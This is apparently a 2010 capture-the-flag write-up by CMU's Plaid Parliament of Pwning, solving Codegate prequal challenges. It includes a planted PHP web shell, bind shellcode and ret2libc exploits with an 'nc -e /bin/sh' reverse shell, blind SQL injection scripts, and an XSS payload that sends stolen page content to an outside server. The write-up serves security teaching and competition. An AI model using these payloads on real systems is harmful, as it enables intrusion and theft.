Codegate 2010 Prequal - Problem Solution

Plaid Parliament of Pwning - Security Research Group at CMU

March 22, 2010

1 Introduction

This is a report for Codegate 2010 pre-qual from **Plaid Parliament of Pwning** (PPP), Carnegie Mellon University's Security Research Group. This report describes walk-throughs for all the challenges that we have completed during the competition. This report file is also available at http://ppp.cylab.cmu.edu.

2 Walk-throughs

Problem 1

We were given the URL http://ctf7.codegate.org/31337/.

Following the "BEER LIST" link, we reach http://ctf7.codegate.org/31337/index.php?page=beer_list. Modifying the `page` parameter, we found that this script has a local file inclusion vulnerability. At first, we attempted to include `../../../proc/self/environ`. However, PHP was unable to read this file.

Next, we examined the link on the beer list page, which led to http://ctf7.codegate.org/cgi-bin/hello.cgi?150. We found that passing in large numbers to this script would cause it to run for a long time and potentially crash the CGI script.

Putting these two pages together, we attempted to use the index.php local file inclusion vulnerability to read `/proc/pid/environ` where `pid` would be the PID of a hello.cgi process.

By using the index.php vulnerability to read `/proc/loadavg`, we were able to determine the last allocated PID in order to try PIDs more effectively.

Using the following two scripts, we were able to place a PHP shell in `/dev/shm`, which we were later able to include from index.php:

```
while true; do
    wget -qO/dev/null 'http://ctf7.codegate.org/cgi-bin/hello.cgi
        ?99999999999999999999999999999999999999999999999999999999999999999999999999'
         -U "<?php system(\"echo '<?php echo system(\\\$_REQUEST[cmd]); ?>' > /dev/
        shm/ppp.php\"); ?>"
done
```

```
while true; do
```

```
    wget -qO/dev/null "http://ctf7.codegate.org/31337/index.php?page=../../../../
        proc/$(wget -qO- "http://ctf7.codegate.org/31337/index.php?page=../../../
        proc/loadavg" | awk '{print $5}')/environ"
done
```

Finally, using the PHP shell, we were able to list the files in the 31337 directory and view the contents of the MUST_GRAB_THIS_KEY_FILE file.

```
wget -qO- 'http://ctf7.codegate.org/31337/index.php?page=../../../../dev/shm/ppp.
    php&cmd=ls'
wget -qO- 'http://ctf7.codegate.org/31337/index.php?page=../../../../dev/shm/ppp.
    php&cmd=cat%20MUST_GRAB_THIS_KEY_FILE'
```

Key: HOLA_HOLA_DRINKING_MACHINE

Problem 2

This problem consists of two parts: a privileged binary to exploit (yboy), and a binary input file (codefile) to said binary. When first running the yboy binary, a splash screen is displayed, and then a password prompt appears. Incorrect passwords simply output an error and cause the binary to exit.

After opening the yboy binary in a disassembler (IDA in our case) it became clear that it was a sort of virtual machine. This was quickly evident due to the names of the functions being included in the binary (push, pop, shr, shl, etc). From examining the main loop processing the input file, we determined the opcodes and format for each virtual machine instruction. The vm by default ran the local codefile, but could be given alternatives on the command line.

The format used was fixed-length 4 byte instructions: AABBCCDD AA = input1 BB = input2 CC = output DD = opcode

We used a small python script to generate readable assembly from the vm binary (codefile). The codefile loads and outputs the password prompt and loads the secret file into the vm memory. It then grabs the user input, and compares it to the first n-bytes of the secret file. If it matched, it then outputs the rest of the secret file, and a congratulatory message. Otherwise, it outputs a failure message, and halts.

Unfortunately, simply creating a new codefile that always prints the secret turned out to be difficult, as the executable codefile was checked before execution using a hash. The codefile was run through a Davies-Meyer compression function using Tiny Encryption Algorithm (TEA). The 4-byte value resulting from this was then compared to a set value, and on a match the codefile was run. (The specific seed values can be found easily in the function, and discovering that TEA is used involves googling one of the magic numbers in the function.)

To both cause a hash collision, and create an executable file that would print out the secret required that we find a vulnerability in TEA. Wikipedia mentions that there is a known flaw in TEA; that for each key, there are 3 equivalent keys that will result in the same output given the same input. The paper"Key-Schedule Cryptanalysis of IDEA, G-DES, GOST, SAFER, and Triple-DES" by Kelsey, Schneier and Wagner includes a description of how to generate these equivalent keys. The relevant method involves flipping the most significant bit of the most significant 4-byte segments of the key. For our purposes, this means that we can flip the most significant bit for the opcodes of two adjacent instructions.

From here, we simply find 2 instructions whose removal (high opcodes are ignored) causes the secret to be outputted. We changed byte 0C3 from 0x14 to 0x94 and byte 0C7 from 0x14 to 0x94. This causes the password checking loop to be improperly initialized, and shortcut to outputting the secret. We then uploaded this modified codefile, and ran it on the privileged yboy binary to obtain the key: Your flag is: TEA - Toiletpaper Esque Aspirations

Problem 3

Problem 3 was solved by a known plaintext attack. The problem itself was presented as follows:-

```
 credentials: ctf3.codegate.org port 20909
2
 Julianor doesn't understand why block ciphers exist, too complex.. just use his
    super secure message service.
```

Based on this message, our initial thoughts were that this was a "home-brew" encryption challenge. Connecting to the port revealed a prompt to enter a message recipient. After a string was entered, a set of octets in hexadecimal was returned:-

```
1 [stroucki@unix10 codegate2010]$ perl -e 'print q(D);' | nc ctf3.codegate.org 20909
  Message To:?
3 e5 2f 79 b8 01 a8 4f a0
  59 8d da ae 59 b1 c1 ec
5 d4 80 56 57 0b f4 ba a5
  f0 1b 79 1b 85 01 92 a6
7 3b 8b 73 81 23 8e a1 26
  b7 16 d2 eb e5 51 d7 4c
9 2c 2c c3 80 ad 7d 17 b9
  de 2a 0c 62 8e 9e a7 b7
11 73 a4 82 2c 26 df b1 c2
  8f 33 2b 97 35 d8
```

We noticed that the first three characters remained the same, regardless of input. We then noticed that entering two different one character strings in sequence resulted in a change to octet #4 only. Also, with every additional character entered, the length of the encrypted message grew by a character. We began to suspect that the first three characters signified a header, like "To ", and that the input was inserted after that point, followed by the actual message. A few more `D` (ASCII position 0x44) characters were sent, and the exclusive or of 0x44 and the returned octet was calculated, in the hope that this would yield the key.

Using the first message, we applied the key we derived in the previous step to this. An intelligible string "\nDear " appeared. The encryption method had been discovered. To get the full key, enough `D`s to provide a key for each character were sent, and the key derived from the known plaintext. Finally, this key was applied to the first message.

Applying the exclusive or operator to each character in the resultant output, beginning at position 5, and the suspected key character at that position resulted in the decrypted plaintext.

```
stroop:cipher test$ perl -e '$xor="b ec 2a c1 2b ad 99 fa 1f 91 91 80 b5 f9 33 25
    27 fe e3 ca 85 69 59 7d e9 60 f5 86 52 f8 49 a1 61 e2 ce 45 dc 49 91 82 95 39
    b2 3e 5f 11 8d d3 ec 22 54 d6 b0 59 7c b fc ff d3 de 1c ca 88 26 b f2 bb 8e c2
    19 1 a5 1b d2 fa 2b b2 76 c7 9f 43 a7 e6 90 32 59 2a 23 fc ee 47 e 5a 48 3a 8b
    18 1c a4 17 8f bd 66 26 3c a9 43 eb 22 c1 e8 14 62 f0 8 65 fd 2c 2b 64 eb 4 58
```

```
    7a f5 db 39 5b 63 9a 56 da 2f aa 9b 6e 33 b1 f5 5b 71 24 20 d6 c 79 b1 7d 29 62
     61";$crypt="01 a8 4f a0 59 8d da ae 59 b1 c1 ec d4 80 56 57 0b f4 ba a5 f0 1b
    79 1b 85 01 92 a6 3b 8b 73 81 23 8e a1 26 b7 16 d2 eb e5 51 d7 4c 2c 2c c3 80
    ad 7d 17 b9 de 2a 0c 62 8e 9e a7 b7 73 a4 82 2c 26 df b1 c2 8f 33 2b 97 35 d8";
    @xora=split(" ",$xor);@crypta=split(" ",$crypt);foreach $x (@crypta) {$xorc=
    eval "0x".$xora[$num];$cryptc=eval "0x".$x;print chr($xorc ^ $cryptc);$num
    ++;};'
2
Dear CTF Player,
4 Your flag is: Block_Ciphers=NSA_Conspiration

6 --
LM**2.
```

Our submission was delayed by a misconfiguration of the auth server. Codegate 2010 staff had to review the logs to obtain the official submission times.

Problem 4

When we connect the server, the server sends "Input: " and waits for our input. The server calls `getline` to handle our input, and then `memcpy`s the inputted line in `func`.

The vulnerability is in `func` where `memcpy` is called. There is no boundary check routine so that we can overflow the buffer of 264 bytes size in `func`.

`memcpy` is the last one in `func`, which makes our exploit easier. Please remind that the return value of `memcpy` is the pointer to a destination buffer. Therefore, when `func` completes, `eax` contains the pointer to the destination buffer, i.e., our input.

The last thing is to jump to the our shellcode. We can easily find `call *%eax` instruction located at `0x804860b` and `0x80484df`.

Finally, we build the following exploit containing bind shellcode, padding, and ret2eax:

```
1 perl -e 'print "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\\x5d\x52\
    x66\xbd\x69\x7a\x0f\xcd\x09\xdd\x55\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3
    \x04\xb0\x66\xcd\x80\x89\x64\x24\x08\x43\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\
    x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52
    \x53\xeb\xbb" . "\x90"x188 . "\x0b\x86\x04\x08"' | nc ctf4.codegate.org 9000
```

After we have a remote shell, we find the flag at `/home/easy/flag.txt`.

Key: bc15d4ddf6ca486682064ad226a7ff1b -

Problem 5

This problem consists of sending a string to a remote program that has standard IO bound to a socket. When a client connects, the program sends "Input: " and waits for a response. The goal is to exploit the program to get a shell on the remote host.

For this problem, the system has enabled stack randomization, library randomization, and non-executable stack. However, this is not effective as we will see. Another thing to notice, is that the program is using getline and memcpy, so we can use null bytes in our input.

The vulnerability in the program is located in `func`. The program takes the inputted line and memcpy's it to a buffer on the stack that is of size 264. Immediately after the buffer are the saved frame pointer and return address.

The next step was to find an address in libc. The program calls `printf` so we have a stable address for `printf` that we can set the return value to. By running our copy of the binary locally, we can find how many bytes we need to skip on the stack to get to our input. So, we ret2ret four times so that the argument to printf is our input. This provides a way to get the contents of the remote stack. And on the stack is the return address for main, which is in libc.

If library randomization was not enabled, we would be done. Just set the return address to `system` and provide our input as an argument. However, it is not that easy.

Or is it? Printing the remote stack many times (20 or so), reveals some common locations for libc. In this case, we encountered the address 0x126b56. Add to this the offset to get to `system` (0x126b56), and we have an address for system that appears often. Use this as the return address, and you now have a remote shell connected to your socket.

`/home/daryl/flag.txt` contains the key.

Key: e2e4cb6adc9cd761dcde774f84529591 -

```
require 'socket'
host = "ctf4.codegate.org"
port = 9001
t = TCPSocket.new(host,port)
t.print "/bin/sh\0     " + "a"*251 + "xxxx" + "\x75\x85\x04\x08"*6 + "\x20\x90\x14
    \x00" + "\n"
t.print "nc -e /bin/sh nickel.club.cc.cmu.edu 8887 &\n"
print t.recv(300)
print t.recv(300)
t.close
exit
```

Problem 6

This problem gave us the URL for a file called CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7 and said we should convert the flag to lower case and try to auth with it.

I fetched the file, which turned out to be a 100MB tarball. From it, I extracted two other files: 352FCD8BDEC8244CDED00CA866CA24B9, and B400CBEA39EA52126E2478E9A951CDE8.

35* was a 100MB tcpdump capture file, whereas for B4* file said "x86 boot sector, code offset 0x58, OEM-ID "MSDOS5.0", sectors/cluster 8, reserved sectors 4334, Media descriptor 0xf8, heads 255, sectors 1982464 (volumes ¿ 32 MB) , FAT (32 bit), sectors/FAT 1929, reserved3 0x800000, serial number 0x7886931a, unlabeled".

I fired up qemu on the x86 boot sector, only to discover it was a boot sector who's job was to say it is not bootable. I went back and looked at the output of file and noticed it was also a FAT filesystem. So, I mounted it, and saw these folders:

```
ALIB      ECNQVK   IDBRORWN   MVKDLF          QDNLSEHDN  URYRHKTJ   YSPDLXM
BQLDKF    FRKSWL   JQKDTHD    NTLTMXPA        RVMFHRMFO  VWJSANSRK  ZCLSRN
CSDLFJGJ  GZJVL    KDHFKZMF   OVKDLFTLTMXPA   SAORTLA    WZMFFHQJ
DLKJWERM  HQKSKSK  LVHFPSTLR  PZJAVBXLD       TQPTMXM    XAHZK
```

I looked in a few folders and saw a bunch of .dat files. I ran file, and discovered that except for folders, every file had a .dat extension. Running file on a bunch of the files, and based on some of the filenames, it seemed that this was at least part of a windows system that had had it's filenames mangled. (There were a lot of DLLs and DOS executables, as well as files with "Microsoft" in their names.)

At some point, I noticed QDNLSEHDN/sniffer_gpu.dat, which turned out to be a red herring. Google led to http://www.prevx.com/filenames/X7648672484478925 57-X1/SNIFFER_GPU.EXE.html, which made it sound rather suspicious.

I tried emacs decipher-mode on the directory names to see if it was a simple substitution cipher, with no luck. The toplevel directory names were all upper case, so it made sense that if they were deciphered, maybe one name would stand out as not belonging, and that would be the flag, but no such luck.

I eventually gave up on the FS and turned my attention to the tcpdump file. Wireshark showed a lot of windows broadcast traffic, lots of HTTP, and quite a bit of FTP traffic. The FTP traffic revealed a username and password, but the FTP server was down, so I couldn't connect to it.

Some of the filenames seemed like documentation for "EnCase", which google said was a forensics program. I figured it might provide clues to demangle the filenames, so I carefully went through the FTP sessions and recovered the contents of ebook.pdf, LegalJournal.pdf, and setup.exe. setup.exe turned out to be the installer for Acrobat 8.0, which had some known vulnerabilities. Reading LegalJournal.pdf I felt like it was making me dumber very quickly, so I looked at ebook.pdf instead. It was huge, so I looked through the table of contents to try and find something interesting. It didn't feel quite as bad for my brain as the other file, but I was unable to find anything useful.

At some point, I went back to the FS, computed the MD5 of every file, and checked which ones google didn't know about. That was way too many of them, so I stopped poking google. I learned something here, which was that google blocks wget by User-Agent.

Then, we got a hint:

```
Hint: The packet of messenger is important. You don't need to care the ftp stuff.
```

Hmm, what kind of IM is prevalent in Korea? Or did they mean something like winpopup? I went back to the tcpdump file and filtered out anything that was definitely not IM. Then I filtered out some stuff I wasn't sure about. I eventually found some packets labelled as MSNMS, with hotmail addresses in them. Showing only MSNMS packets, I was able to follow a conversation. At one point it seemed like something funny was going on, possibly transfering a file directly. I figured that TCP connection I had seen between some rather strange ports might be related, so went back to look at it. It did seem like more of this crazy protocol, but I had no idea how files might be encoded. Then I saw what looked like a PDF file, and a JPEG file.

I tried dumping one side of the stream and deleting everything that before the begining and what looked like the end of the PDF. It seemed like there were two end-of-PDFs, so I made two files, but xpdf kept saying they were corrupted and just showed a blank page.

```
1 Error: PDF file is damaged - attempting to reconstruct xref table...
  Error: Couldn't create a font for 'ABCDEE+                    '
3 Error: Couldn't create a font for 'ABCDEE+                    '
```

with the last part repeated a lot more times.

I found part of the xref table that seemed to have garbage, but removing it made no difference. I had a friend check the PDFs on his Mac, where he got a blank page, but no errors.

In hopes that it was just font troubles, I tried pdftotext, but it just produced garbage:

```
CC105EE2A139A631175571452968D637
```

I had my friend check if he could copy and paste anything out of the blank PDF, and he got the same text. Ok, maybe it's not garbage. I tried converting it to lower case and sumbitting, but no luck. It turns out that is the MD5 of iologmsg.dll on windows. That file also existed on the FS as HQKSKSK/iologmsg.dat, so it wasn't garbage.
Key: iologmsg

Problem 7

```
credentials: http://ctf1.codegate.org/ssl.pcap .
* hint: does the modulus look familiar?
```

The website has the link to the network trace dump file called "ssl.pcap". Also it contained the hint and the goal was clear that we need to decrypt the packets, in order to find the keys :p

When the file was opened in Wireshark, we can find Packet 6 that is "Server Hello, Certificate, Server Hello Done" with TLSv1 protocol. If you dig into *Secure Socket Layer → TLSv1 Record Layer (Certificates) → Certificate* and do *Export Selected Packet Bytes* on it.

Then, we can get the information by doing:

```
$ openssl x509 -inform DER -in infile.der -out outfile.txt
```

We can see that it tells us the modulus with 768-bit. As you can google it, RSA-768 has been factored in 2009. Thus, we write the following small script to create a private certificate:

```
#!/usr/bin/perl
use Crypt::OpenSSL::Bignum;
use Crypt::OpenSSL::RSA;

my $n = Crypt::OpenSSL::Bignum->new_from_decimal("12301866845301177
551304949583849627207728535695953347921973224521517264005072
636575187452021997864693899564749427740638459251925573263034
537315482685079170261221429134616704292143116022212404792747
377940806653514195974598569021434 13");

my $p = Crypt::OpenSSL::Bignum->new_from_decimal("3347807169895689878
044169848212690817704794983713768568912431388982883793866651127923 3
876147116525317430877378144679994 89");

my $q = Crypt::OpenSSL::Bignum->new_from_decimal("36746043666799590428
244633799627952632279158164343087642676032283815739666511279233
373417143396810270092798736308917");

my $e = Crypt::OpenSSL::Bignum->new_from_decimal("65537");

$rsa = Crypt::OpenSSL::RSA->new_key_from_parameters($n, $e, undef, $p, $q);
print $rsa->get_private_key_string();
```

This gives us the following:

```
-----BEGIN RSA PRIVATE KEY-----
MIIBywIBAAJhAMrZhFV8l+A5Qxoiatcn8MbUPvPUGEafGzdQSbIphD7p+Dsfl3OK
wnT19h9AHyHxkT5LZLsxtVo405jA3+0AsTkvCIlxHESzWeeXbGF/zHNPBuPpXCZH
YJG1L0YueUE9tQIDAQABAmB0DeSHYEQoNbqtXhmQRTqdFtt5dtP4u5i/mcDAHL6b
nBK4CMgGg9HjRsFseawWKHTyjKYQwbl+Xh/66VclzgxrAxw+GIsXGHp5OzIsxABM
Vo52ybJYVC6iotbs1GL/9AECMQDZgux7RA4oadJTXlH5G6zD6266BC4Qbm+HXD0X
5T22X//W5OmjYITOYPg9dU3X9wECMQDuvm3SPOfpnA4iSf7MRBjDSvdOQYv6cUw3
kYKEFKsY8y/X4JMGKkmwMCJcyEX5mrUCMQCXWi353DJJ1tDe6Bv8TlCah+GlmLEB
CAedVgbA8OhPVl+tBd65q7jd7sXt5glDxQECMQCnEe/8Xc7U9fYWHL4H5+eEUuO5
ibkRK1Pw1w0ErQoGzbe/VFLOz6z9dNG3KBd/0rkCMH6J+q8/eK2Vi+vGXc92zSHp
lI4rshqBvhCfrDcrtBuu7b38Z1dz+ky1xc4ZO17bnA==
-----END RSA PRIVATE KEY-----
```

Making this into a file such as "priv.key" and adding "192.168.100.4,443,http,/PathToFile/priv.key" into *RSA Keylist* under *Preference* → *Protocols* → *SSL* enables us to see decrypted requests and responses!

```
<html><body><h1>Welcome to CodeGate 2010! I hope you enjoy my crypto challenges!
    The flag is: MoreInterestingCryptoChallengesAhead!</h1></body></html>
```

Problem 8

The hint was the first part is just an IV. Given this it makes sense to guess that the encryption scheme is CBC because the CBC is the most popular encryption mode with an IV.

Now we need to figure out the plaintext message format.

The process here was pretty ad hoc and mostly involved flipping bits to see the changes. After flipping a bunch of bits we got the message format to be

```
username= <username> ## role= <role>
```

The important fact here was that the role part determines whether or not you are the admin. The default value for role was "user" thus it makes sense to assume that the value of role needs to be "admin" to get the flag.

Now the question is how do we change role to "admin". From before the message format was `username= <username> ## role= <role>`.

Soon we figured if the username is a 12-byte long, the ciphertext is (base64) decoded to 32 bytes with 2 blocks while 13th byte input will add another block.

Note that with two blocks, the CBC decryption equation is

```
x[1] = D(y[1]) XOR IV
x[2] = D(y[2]) XOR y[1]
...
```

To flip the role bit we need to flip the bit in the corresponding position in the first ciphertext block. To be honest, we didn't make a script for this, it was just done by hand since it was easy to calculate and it was short enough :p

Once you've changed the role to "admin", you get the following message containing flags: *Congratulations! Here is your flag: the_magic_words_are_squeamish_ossifrage_^-^!!!!!*

Problem 9

Upon going to the login page, we see a form with three fields, `no`, `id`, and `pw`, with the values initialized to `1`, `guest`, and `guest`.

After playing with different combinations of values for all three fields, we can see there are three distinct results from the queries: `Success - great`, `failure`, and `access denied`. We see that the result of success comes from the `id` and `pw` being set to `guest`, and `no` set to anything that evaluates to 1.

The fact that the `no` field can be any expression that evaulates to 1 (such as `2-1` or `cos(0)`) rather than simply the number 1, suggests that there is an SQL query being performed with our input to `no` not being properly escaped.

Unfortunately, including most useful SQL keywords, such as `or`, `into`, `and`, `from`, a space, and so on into the `id` field automatically returns `access denied`. This helps to confirm our SQL injection suspicions, but of course make our task more difficult. Further, the fact that the only results we can get actually from queries that actually return are `Success - great` and `failure` makes it difficult to perform traditional SQL injection, which would require more feedback.

Luckily, we see a few helpful things, such as entering more complicated statements can be done using parenthesis to deliminate blocks of expressions, as spaces are filtered out, and we see that we can enter strings or characters using hexadecimal strings (ie, "hello" = 0x68656C6C6F), as entering strings and characters using quotes does not work ("hello"="hello", 'a'='a' return 0). Also, there is nothing preventing a time delay SQL injection attack. This attack allows us to verify boolean statements based on the time it takes for the query to return.

For example, the query `(sleep(5))` will take at least 5 seconds for the server to compute, so if we run this query only in certain cases, we can easily verify the truth value of a statement.

Thus, if we cause MySQL to run a query such as

```
no=1||(select(if(length(pw)=24,sleep(5),true)))
```

we should recieve instant feedback if the length of the column `pw` for the first entry in the table is anything besides 24. Upon getting a delayed result, we can assume the first table entry has a password 24 characters long that the first entry in the table probably belongs to the user whose account we wish to access.

Then, we can run queries such as `no=1||(select(if(substr(pw,X,1)=HEX,sleep(5),true)))` until we find out the value of the character in position X of the password.

This can easily be scripted to something simple like the following:

```
#!/usr/bin/perl

$url = "http://ctf8.codegate.org/597d0c8bbd21d9924cde3567258f4e62/index.php?"
  ."id=guest&pw=guest&no=1||(select";
for $i (1..24) {
  $false = 1;
  $char = "0x2f";
  while ($false == 1 && $char !~ /0x80/) {
    $false = 0;
    $result = `curl "$url(if(substr(pw,$i,1)=$char,sleep(5),true)))" -m 1 2>/dev/null`;
```

```
    if ($? != 0) {
      printf( "%c", hex $char);
    }
    else {
      $false = 1;
    }
    $char = sprintf("0x%x", (hex $char) +1 );
  }
}
```

After this completes, we get the string `READ:/TMP/ADMIN_PASSWORD`, which very sadly is not actually the key. Luckily, we can simply use a string of

`load\_file(0x2F746D702F61646D696E5F70617373776F7264)`

in place of `pw`, and then use the same techniques as before to read this string.

This finally gives us the result of `0da65a3fde3f2b928ff15b629bcdeebf`, which is the correct key.

Problem 10

```
1 credentials: http://ctf1.codegate.org/3ea2d867e871fdab011d066758489953/web3.php .
```

The website has one text input box called Username and a submit button. If we put anything such as "blah", it displays a message "Hello, blah!". When you visit back to the website, you get another message "Welcome back, blah! You are not the administrator". Thus, the goal is clear that we need to make our username **administrator**.

Obviously, it wasn't straight forward as submitting **administrator** as an input for username. If one tries to submit his username as it, the pages rejects and says "Username can not contain administrator".

To bypass the check, we tried to insert the null character in between characters, such as **administr%00ator**. But then, it displayed "Hello, administr%00ator!". So we figured that it might be the case that it urlencodes the input before it sends. We launched Tamper Data which is an awesome add-on for Firefox, and watched what was going on. As expected, when it sends the data, the username parameter value was urlencoded: **administr%2500ator**.

We simply removed "25" and sent the data and we get:
Key: Welcome back, administrator! Congratulations! Here is your flag: One if by land; two if by sea!!!

Problem 11

```
1 Get a value of HKLM\Software\codegate2010, it's the flag.
```

The page has a form which is used to upload a jpg file. If you try to upload something that does not end with the extension jpg, you get:

```
I only take a file that has .jpg extension. Because I'm bad.
```

We can trivially find out that the server is running Microsoft-IIS/6.0 and PHP/5.2.6. So, how can we get it to run a php script that ends in .jpg?

Using http://blog.metasploit.com/2009/12/exploiting-microsoft-iis-with.html as a reference, we find that all we need to do is rename our php script to "something.php;.jpg" and upload it. Ta-da! We can now proceed to access the registry using this php script:

```
<?php

$reg = new COM("WScript.Shell");
echo $reg->RegRead("HKEY_LOCAL_MACHINE\\SOftware\\codegate2010");

?>
```

Key: LollerSkaterz_From_RoflCopters_With_Guinness

Problem 12

```
credentials: http://ctf.codegate.org/thisiswhereiuploadmyfiles/514985
    D4E9D80D8BF227859C679BFB32

Suspects exchange the secret key through their own file. Find the key!
```

In this problem, we are given a file. It doesn't appear to be in any particular format, but does contain chunks of other files. So, we can use a file carver such as `magicrescue` or `scalpel` to try to automatically identify and extract (e.g., "carve") the embedded files out.

In this case, using magicrescue only finds a word document on carving pumpkins. No shared key seems to be in the document. Using scalpel, however, reveals quite a few other files. Most of the files are image files. One of the image files is:

Key: E5R69267

Problem 13

```
ctf3.codegate.org port 32121
```

This problem consists of a remote file transfer program which contains three files: sftpd, config, and secrets. We need to read the secrets file to get the key.

The first step is to get a copy of the binary (sftpd). When we send "get sftpd" it tells us that it is password protected. Luckily, we can "get config" to get a list of files and the hashes of their passwords. The sha1 password hash for sftpd is: 7c4a8d09ca3762af61e59520943dc26494f8941b. Using google, we see that this is a hash of "123456". We now can download the binary.

The next step is to get the secrets file. Unfortnately, df006ea3fffacb05a129223c8e2b7b89b3fef969 is not a common hash, so we will need to do something else. Open sftpd in your favorite disassembler, and look at address 0x08048D83. This is a call to strncasecmp; the arguments are the hash of our provided password and the stored hash.

But wait, the stored hash has a null byte! So, instead of finding a password that hashes to df006ea3fffacb05a129223c8e2b7b89b3fef969, it only has to hash to something matching `/^..006ea3/` (for instance: sha1("29268")). If you are confused why it is those bytes, think about how a hash would be represented in memory on a little endian machine.

We send the server "get secrets 29268" and we get the answer:

```
==== !!!!!! Congggggratuuulaaations!!!!! =========

Your flag:

PythonIsSoooSlowEvenWithPsyco.class


======================
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][\\o/][[]
][][][][][][][][][][][][][]
][][][][][][][][][][][][][]
][][][][][][][][][][][][][]
][][][][][][][][][][][][][]
][][][][][][][][][][][][][]
][][][][][][][][][][][][][]
```

A ruby script to find a matching password:

```
require 'digest/sha1'

i = 0
while true
    digest = Digest::SHA1.hexdigest i.to_s
    if digest =~ /^..006ea3/
        print i.to_s
        break
    end
    i += 1
end
```

Key: PythonIsSoooSlowEvenWithPsyco.class

Problem 14

In this problem, we submit a file that gets opened by Internet Explorer 8 as part of an html document. The goal is to bypass the IP and authentication checks to get the stored password. This is a long problem that involves several different tricks.

The first step is to bypass the IP checks. We are told that this will be a XSS problem, so our method of attack will be javascript embedded in the html that we upload. However, when you start to upload things, you will notice that some keywords are blocked: html, script, colons, etc. One thing that isn't blocked is including a CSS stylesheet. Thankfully, IE supports CSS expressions so we can now execute javascript.

```
<STYLE>@import '//cmucc.org/xss.css';</STYLE>
```

```
body {
  background-image: expression(
    this.style.backgroundImage = "none",
    document.write("<script type=\"text/javascript\" src=\"http://cmucc.org/xss.js
        \"></script>")
  );
}
```

Since we want the output of the page whose checks we are bypassing, we are going to use javascript HTTP requests (as used in AJAX) to get the output. This does not violate any cross-domain rules since our uploaded html is including in a page that is located on the same domain as the target. Once we get the output, we will then want to be able to retrieve it somehow. The easiest way to do this is to just append the output to a URL that we control as the query string. Then our URL can either store it, or we can look in our web logs to find the query string.

If we would end here, we would not have gotten very far as we now fail the authentication checks. We now need to do some SQL injection. A naive approach would reveal that the remote server is using magic quotes to escape our single quote. All is not lost, however, thanks to the mb_convert_encoding that is before the query. It is well documented that mb_convert_encoding can be used to erase the escape character. For example, if we send the byte 0xB3, the character after it will be consumed as part of the multibyte encoding. We use this by sending 0xB3 0x27, which gets converted to 0xB3 0x5C 0x27 by magic quotes, which is then converted into: some_unicode_character 0x27, by mb_convert_encoding.

Now that we can inject sql, we need to have force the sql query to output the row ("hacker", "anything", 99999999999). This will involve injecting a union into the query. Unfortunately, they check if the id field contains the word union. But we can use sql comment characters to get rid of the pesky md5 function and put the union inside of the pw field. In order to avoid magic quotes for the strings, we just use their hex equivalents. The final url is included in the javascript below.

```
http = new XMLHttpRequest();
function updateData()
{
    var myurl="http://ctf8.codegate.org/823851aa45ee6022e781cf4b15df3c32/admin.php
        ?id=asdf%b3%27%20/*&pw=*/union%20select%200x6861636b6572,0x6861636b6572
        ,99999999999#";
    http.open("GET",myurl,true);
    http.onreadystatechange = useHttpResponse;
    http.send(null);
}

function useHttpResponse()
{
    if(http.readyState==4)
    {
```

```
        var textout=http.responseText;
        document.location="http://cmucc.org/blah.php?"+escape(textout);
    }
}

updateData();
```

We upload our file one last time and check our webserver logs, and we see that the password is: 44417b9f1b37c15a716bc1ee74f544c7.

Problem 15

```
credentials: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php

Sorry for miss info. the sha1 should be

HINT: sha1(key + username + ``|'' + level), and key is 25 chars
```

As in problem 10, we attempted to login as administrator. This brought us to a page saying "Hello, administrator!" However, reloading the page gave the error message "Welcome back, administrator! You are not the administrator."

Looking at the cookies for this site, we found a cookie `web1_auth` containing

```
YWRtaW5pc3RyYXRvcnwx%7Cd2720c56278381eb60462cba6a6a02aef4eb48bc
```

Splitting the cookie by the %7D, we noticed that the first half was a base64 encoded string "administrator|1" and the second half, "d2720c56278381eb60462cba6a6a02aef4eb48bc" was the hash described in the hint. From here, our goal was to increase the level to something greater than 1.

To perform the SHA1 length-extension attack, we downloaded a C implementation of the SHA1 algorithm from http://www.packetizer.com/security/sha1/. Next, we modified `sha.c` to initialize the state of the SHA1 algorithm to the state before the hash was generated. To do this, we split the hash into the 5 4-byte sections and replaced the normal initialization vector with these values. Since the input to the hash would have been padded to 64 bytes in computing this hash, we initialized the length to $64 \cdot 8 = 512$ bits.

```
#include <stdio.h>
#include "sha1.h"

int main(int argc, char **argv)
{
    SHA1Context sha;
    SHA1Reset(&sha);

    sha.Length_Low             = 512;
    sha.Length_High            = 0;
    sha.Message_Block_Index    = 0;
    sha.Message_Digest[0]      = 0xd2720c56;
    sha.Message_Digest[1]      = 0x278381eb;
    sha.Message_Digest[2]      = 0x60462cba;
    sha.Message_Digest[3]      = 0x6a6a02ae;
```

```
    sha.Message_Digest[4]      = 0xf4eb48bc;

    SHA1Result(&sha);
    printf("%08x%08x%08x%08x%08x\n",
           sha.Message_Digest[0],
           sha.Message_Digest[1],
           sha.Message_Digest[2],
           sha.Message_Digest[3],
           sha.Message_Digest[4]);
    return 0;
}
```

Using this program, we generated the following hash, which is equivalent to `sha(key + username + ``|'' + level + padding)` where padding is the padding that was applied in computing the original hash. With this padding, the value of level is changed to something greater than one.

```
ab26c791683da4425b62aff00e1254f07c62c6c9
```

Now, all that remained was to compute the string that when appended to the secret would hash to this.

SHA1 pads a message to 64 bytes by appending a 1 bit then repeated 0 bits until 64 bits remain. The length of the entire message is then stored in the last 64 bits. Since the original length of the message was 40 bytes (the 25 byte secret followed by the 15 bytes "administrator|1"), we appended `\x80` followed by 15 `\x00` bytes. We then appended the length, 40, or `\x00\x00\x00\x00\x00\x00\x01\x40`.

Taking the base64 of the resulting string, we obtained a new username and level pair to match with our hash:

```
echo -ne 'administrator|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
    x00\x00\x00\x00\x00\x00\x00\x00\x01\x40' | base64
```

Combining this with the length-extended hash, we obtained a new cookie:

```
YWRtaW5pc3RyYXRvcnwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAFA%7
    Cab26c791683da4425b62aff00e1254f07c62c6c9
```

Revisiting the page with this cookie set gave a page with the message

```
Welcome back, administrator! Congratulations! You did it! Here is your flag:
    CryptoNinjaCertified!!!!!
```

Key: CryptoNinjaCertified!!!!!

Problem 16

